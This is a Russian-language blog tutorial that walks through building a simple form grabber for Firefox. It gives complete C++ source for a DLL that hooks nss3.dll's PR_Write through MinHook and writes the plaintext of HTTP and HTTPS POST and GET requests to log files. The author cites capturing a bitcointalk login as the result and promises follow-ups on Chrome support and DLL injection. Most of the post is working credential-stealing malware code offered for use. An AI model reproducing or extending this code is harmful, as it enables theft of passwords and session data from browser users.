2015/07/21

Создаем простой формграббер для FF


Тут мы рассмотрим, как сделать простейший формграббер для FireFox. 

Для этого мы используем технологию хукинга, а именно сплайсинг.

Это баянный метод и велосипед мы писать не будем. Мы используем open source реализацию, отличную библиотеку, написанную на С. Ссылка на нее тыц. Ее мы будем использовать для всех последующих хуков, она работает как часы и поддерживает x86 и x64.

Если кратко описать схему работы, то нам нужно оформить код перехватчика, как DLL и внедрить в адресное пространство процесса FF.

Схема работы представлена на картинке ниже.


Но не будем забегать вперед. Все по порядку.

Для работы нам понадобиться :
- Сам браузер FireFox
- MS Visual studio ( Я использую 2010 )
- Библиотека MinHook
- Плагин Dll Inject & Debug
- Мозг

И так, создаем проект в VS указываем что это DLL. На выходи получится такой стандартный код для точки входа:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include "stdafx.h"


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
      )
{

 switch (ul_reason_for_call)
 {
 case DLL_PROCESS_ATTACH:
 case DLL_THREAD_ATTACH:
 case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
  break;
 }
 return TRUE;
}

Нас будет интересовать DLL_PROCESS_ATTACH и DLL_PROCESS_DETACH.

Далее нам нужно будет подключить MinHook библиотеку. 
Для этого нужно добавить файл MinHook.h в проект и добавить в линковку lib файлы.
Это можно сделать в настройках проекта или кидаем libMinHook.x64.lib и libMinHook.x84.lib в папку проекта и добавляем следующий код в dllmain :



1
2
3
4
5
#if defined _M_X64
#pragma comment(lib, "libMinHook.x64.lib")
#elif defined _M_IX86
#pragma comment(lib, "libMinHook.x86.lib")
#endif

Подробнее о том как использовать статические библиотеки можете почитать в интернете.

Далее создадим файл grabber.h в нем будут функции для инициализации и деактивации хуков.



1
2
void SetHook();
void DisableHook()

После чего dllmain будет выглядеть так:



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include "stdafx.h"
#include "grabber.h"

#if defined _M_X64
#pragma comment(lib, "libMinHook.x64.lib")
#elif defined _M_IX86
#pragma comment(lib, "libMinHook.x86.lib")
#endif

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
      )
{
 switch (ul_reason_for_call)
 {
 case DLL_PROCESS_ATTACH:
  {
   SetHook();
   break;
  }
 case DLL_THREAD_ATTACH:
   break;
 case DLL_THREAD_DETACH:
   break;
 case DLL_PROCESS_DETACH:
  {
   DisableHook();
   break;
  }
 }
 return TRUE;
}

Это базовые настройки. Теперь разберем самое интересное. Как же нам осуществить хук FF.

Чтобы осуществить хук, нужно определить ее прототип и узнать ее адрес.
Нас интересует функция PR_Write


Она пишет данные в файл или сокет. Плюс в том что нам все равно будет это HTTP или HTTPS данные в buf будут не зашифрованные.

Чтобы отфильтровать данные и не записывать в логи все подряд, нам нужно посмотреть на определение PRFileDesc:


А затем структуру PRIOMethods :


Нас интересует первое поле file_type. Нужные нам значения 2 или 4. (Любознательный читатель должен сам узнать почему именно 2 или 4).
Забегая чуть вперед, ниже код который делает это :



1
2
3
char * bufer = (char *) buf;
int * PRIOmethods =(int *) *fd; 
int PRFileDesc =(int)  *PRIOmethods

Сама функция PR_Write находится в nss3.dll и что самое важное она является ЭКСПОРТИРУЕМОЙ. Т.е. мы можем совершенной без проблем получить ее адрес.

Теперь вернемся к нашему проекту в VS.  Создаем файл grabber.cpp. В нем будет находиться весь основной код. Определение прототипа функции, перехватчика, инициализация библиотеки.



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include "grabber.h"
#include "stdafx.h"
#include 
#include 
#include 
#include 

#define POST_LOG  "D:\\post_log.txt"
#define GET_LOG   "D:\\get_log.txt"

LPVOID original_function = NULL;

template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID original, LPVOID pDetour, T** ppOriginal)
{
    return MH_CreateHook(original, pDetour, reinterpret_cast(ppOriginal));
}

typedef DWORD (*PR_Write_FuncType)(DWORD *fd, const void *buf,DWORD amount);


PR_Write_FuncType TruePR_Write = NULL;


int write_log(const char * log, const char * data)
{
 std::ofstream file;
 auto t = std::time(nullptr);
        auto tm = *std::localtime(&t);
 const char * separator = "-----------------------------------------------------------------------------------------------------------";

 file.open(log,std::ios_base::app);
 if ( file.is_open())
 {
  file << std::put_time(&tm, "%d-%m-%Y %H:%M:%S") << std::endl;
  file << separator << std::endl;
  file << data << std::endl;
  file << separator << std::endl;
  file.close();
  return 1;
 }
 else
 {
  return 0;
 }
 
}

DWORD DeutorPr_Write(DWORD *fd, const void *buf,DWORD amount)
{
 char * bufer = (char *) buf;
 int * PRIOmethods =(int *) *fd; 
 int PRFileDesc =(int)  *PRIOmethods;
 
 if ( (PRFileDesc ==2 || PRFileDesc == 4) && (amount !=0) && strlen(bufer)!=0)
 {
  
  if (memcmp (bufer,"POST",4)==0)
  {
   write_log(POST_LOG, bufer);
  }
  if (memcmp (bufer,"GET",3)==0)
  {
   write_log(GET_LOG, bufer);
  }
 }


 return TruePR_Write(fd,buf,amount);
}




void SetHook()
{

 MH_STATUS status = MH_Initialize();
 original_function = (LPVOID)GetProcAddress(GetModuleHandle("nss3.dll"), 
                             "PR_Write");
 status = MH_CreateHookEx(original_function,&DeutorPr_Write, &TruePR_Write);

 status = MH_EnableHook(MH_ALL_HOOKS);

}

void DisableHook()
{
 MH_DisableHook(MH_ALL_HOOKS);

 MH_Uninitialize();
}

MH_CreateHookEx - создает вспомогательную функцию для инициализации хука. (взято из примеров использования MinHook) 

PR_Write_FuncType - прототип PR_Write

write_log - функция для записи простых логов для POST и GET запросов в файлы с датой записи

DeutorPr_Write - переопредленная функция PR_Write в которой мы фильтруем данные и записываем логи.

SetHook - установка хука, получения адреса PR_write

DisableHook - и так все ясно;)

Далее компилируем это все дело. С помощью плагина Dll Inject & Debug мы можем подключиться к FF и использовать breakpoints для отладки. (Оставлю это на самостоятельное изучение)

Например, можете попробовать залогиниться bitcointalk. В логах будет такое :


Как мы видим обычный POST запрос, хоть и HTTPS соединение.

Вывод:

И так, как видите с помощью простого быдлокода и немного смекалки, можно сделать вполне рабочий себе формграббер.В статье есть вещи которые описаны не очень подробна, но она рассчитана на то чтобы дать направление для мысли, а не разжевать все до мелочей.

В следующей статье мы рассмотрим, как доделать наш формграббер и добавить поддержку Chrome и рассмотрим способы DLL inject ( Не будем же мы все время пользоваться плагином , он только для отладки)

Всех кому, что-то не понравилось:
Всем остальных милости прошу !

Комментариев нет:

Отправить комментарий